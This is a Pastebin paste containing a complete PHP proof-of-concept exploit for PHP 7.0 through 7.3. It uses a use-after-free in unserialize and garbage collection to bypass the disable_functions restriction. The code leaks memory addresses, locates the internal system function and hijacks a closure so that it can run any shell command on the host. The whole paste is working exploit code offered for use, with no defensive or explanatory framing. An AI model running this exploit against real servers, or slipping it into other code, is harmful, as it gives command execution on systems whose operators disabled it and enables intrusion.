cdw1p

PHP 7.0-7.3 disable_functions bypass

Oct 5th, 2019
585
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.87 KB | None | 0 0
  1. <?php
  2.  
  3. # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
  4. #
  5. # Bug: https://bugs.php.net/bug.php?id=72530
  6. #
  7. # This exploit should work on all PHP 7.0-7.3 versions
  8. # released as of 04/10/2019, specifically:
  9. #
  10. # PHP 7.0 - 7.0.33
  11. # PHP 7.1 - 7.1.31
  12. # PHP 7.2 - 7.2.23
  13. # PHP 7.3 - 7.3.10
  14. #
  15. # Author: https://github.com/mm0r1
  16.  
  17. pwn("uname -a");
  18.  
  19. function pwn($cmd) {
  20.     global $abc, $helper;
  21.  
  22.     function str2ptr(&$str, $p = 0, $s = 8) {
  23.         $address = 0;
  24.         for($j = $s-1; $j >= 0; $j--) {
  25.             $address <<= 8;
  26.             $address |= ord($str[$p+$j]);
  27.         }
  28.         return $address;
  29.     }
  30.  
  31.     function ptr2str($ptr, $m = 8) {
  32.         $out = "";
  33.         for ($i=0; $i < $m; $i++) {
  34.             $out .= chr($ptr & 0xff);
  35.             $ptr >>= 8;
  36.         }
  37.         return $out;
  38.     }
  39.  
  40.     function write(&$str, $p, $v, $n = 8) {
  41.         $i = 0;
  42.         for($i = 0; $i < $n; $i++) {
  43.             $str[$p + $i] = chr($v & 0xff);
  44.             $v >>= 8;
  45.         }
  46.     }
  47.  
  48.     function leak($addr, $p = 0, $s = 8) {
  49.         global $abc, $helper;
  50.         write($abc, 0x68, $addr + $p - 0x10);
  51.         $leak = strlen($helper->a);
  52.         if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
  53.         return $leak;
  54.     }
  55.  
  56.     function parse_elf($base) {
  57.         $e_type = leak($base, 0x10, 2);
  58.  
  59.         $e_phoff = leak($base, 0x20);
  60.         $e_phentsize = leak($base, 0x36, 2);
  61.         $e_phnum = leak($base, 0x38, 2);
  62.  
  63.         for($i = 0; $i < $e_phnum; $i++) {
  64.             $header = $base + $e_phoff + $i * $e_phentsize;
  65.             $p_type  = leak($header, 0, 4);
  66.             $p_flags = leak($header, 4, 4);
  67.             $p_vaddr = leak($header, 0x10);
  68.             $p_memsz = leak($header, 0x28);
  69.  
  70.             if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
  71.                # handle pie
  72.                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
  73.                 $data_size = $p_memsz;
  74.             } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
  75.                $text_size = $p_memsz;
  76.             }
  77.         }
  78.  
  79.         if(!$data_addr || !$text_size || !$data_size)
  80.             return false;
  81.  
  82.         return [$data_addr, $text_size, $data_size];
  83.     }
  84.  
  85.     function get_basic_funcs($base, $elf) {
  86.         list($data_addr, $text_size, $data_size) = $elf;
  87.         for($i = 0; $i < $data_size / 8; $i++) {
  88.             $leak = leak($data_addr, $i * 8);
  89.             if($leak - $base > 0 && $leak - $base < $text_size) {
  90.                 $deref = leak($leak);
  91.                 # 'constant' constant check
  92.                if($deref != 0x746e6174736e6f63)
  93.                     continue;
  94.             } else continue;
  95.  
  96.             $leak = leak($data_addr, ($i + 4) * 8);
  97.             if($leak - $base > 0 && $leak - $base < $text_size) {
  98.                 $deref = leak($leak);
  99.                 # 'bin2hex' constant check
  100.                if($deref != 0x786568326e6962)
  101.                     continue;
  102.             } else continue;
  103.  
  104.             return $data_addr + $i * 8;
  105.         }
  106.     }
  107.  
  108.     function get_binary_base($binary_leak) {
  109.         $base = 0;
  110.         $start = $binary_leak & 0xfffffffffffff000;
  111.         for($i = 0; $i < 0x1000; $i++) {
  112.             $addr = $start - 0x1000 * $i;
  113.             $leak = leak($addr, 0, 7);
  114.             if($leak == 0x10102464c457f) { # ELF header
  115.                return $addr;
  116.             }
  117.         }
  118.     }
  119.  
  120.     function get_system($basic_funcs) {
  121.         $addr = $basic_funcs;
  122.         do {
  123.             $f_entry = leak($addr);
  124.             $f_name = leak($f_entry, 0, 6);
  125.  
  126.             if($f_name == 0x6d6574737973) { # system
  127.                return leak($addr + 8);
  128.             }
  129.             $addr += 0x20;
  130.         } while($f_entry != 0);
  131.         return false;
  132.     }
  133.  
  134.     class ryat {
  135.         var $ryat;
  136.         var $chtg;
  137.        
  138.         function __destruct()
  139.         {
  140.             $this->chtg = $this->ryat;
  141.             $this->ryat = 1;
  142.         }
  143.     }
  144.  
  145.     class Helper {
  146.         public $a, $b, $c, $d;
  147.     }
  148.  
  149.     if(stristr(PHP_OS, 'WIN')) {
  150.         die('This PoC is for *nix systems only.');
  151.     }
  152.  
  153.     $n_alloc = 10; # increase this value if you get segfaults
  154.  
  155.     $contiguous = [];
  156.     for($i = 0; $i < $n_alloc; $i++)
  157.         $contiguous[] = str_repeat('A', 79);
  158.  
  159.     $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
  160.     $out = unserialize($poc);
  161.     gc_collect_cycles();
  162.  
  163.     $v = [];
  164.     $v[0] = ptr2str(0, 79);
  165.     unset($v);
  166.     $abc = $out[2][0];
  167.  
  168.     $helper = new Helper;
  169.     $helper->b = function ($x) { };
  170.  
  171.     if(strlen($abc) == 79) {
  172.         die("UAF failed");
  173.     }
  174.  
  175.     # leaks
  176.    $closure_handlers = str2ptr($abc, 0);
  177.     $php_heap = str2ptr($abc, 0x58);
  178.     $abc_addr = $php_heap - 0xc8;
  179.  
  180.     # fake value
  181.    write($abc, 0x60, 2);
  182.     write($abc, 0x70, 6);
  183.  
  184.     # fake reference
  185.    write($abc, 0x10, $abc_addr + 0x60);
  186.     write($abc, 0x18, 0xa);
  187.  
  188.     $closure_obj = str2ptr($abc, 0x20);
  189.  
  190.     $binary_leak = leak($closure_handlers, 8);
  191.     if(!($base = get_binary_base($binary_leak))) {
  192.         die("Couldn't determine binary base address");
  193.     }
  194.  
  195.     if(!($elf = parse_elf($base))) {
  196.         die("Couldn't parse ELF header");
  197.     }
  198.  
  199.     if(!($basic_funcs = get_basic_funcs($base, $elf))) {
  200.         die("Couldn't get basic_functions address");
  201.     }
  202.  
  203.     if(!($zif_system = get_system($basic_funcs))) {
  204.         die("Couldn't get zif_system address");
  205.     }
  206.  
  207.     # fake closure object
  208.    $fake_obj_offset = 0xd0;
  209.     for($i = 0; $i < 0x110; $i += 8) {
  210.         write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  211.     }
  212.  
  213.     # pwn
  214.    write($abc, 0x20, $abc_addr + $fake_obj_offset);
  215.     write($abc, 0xd0 + 0x38, 1, 4); # internal func type
  216.    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
  217.  
  218.     ($helper->b)($cmd);
  219.  
  220.     exit();
  221. }
Advertisement
Add Comment
Please, Sign In to add comment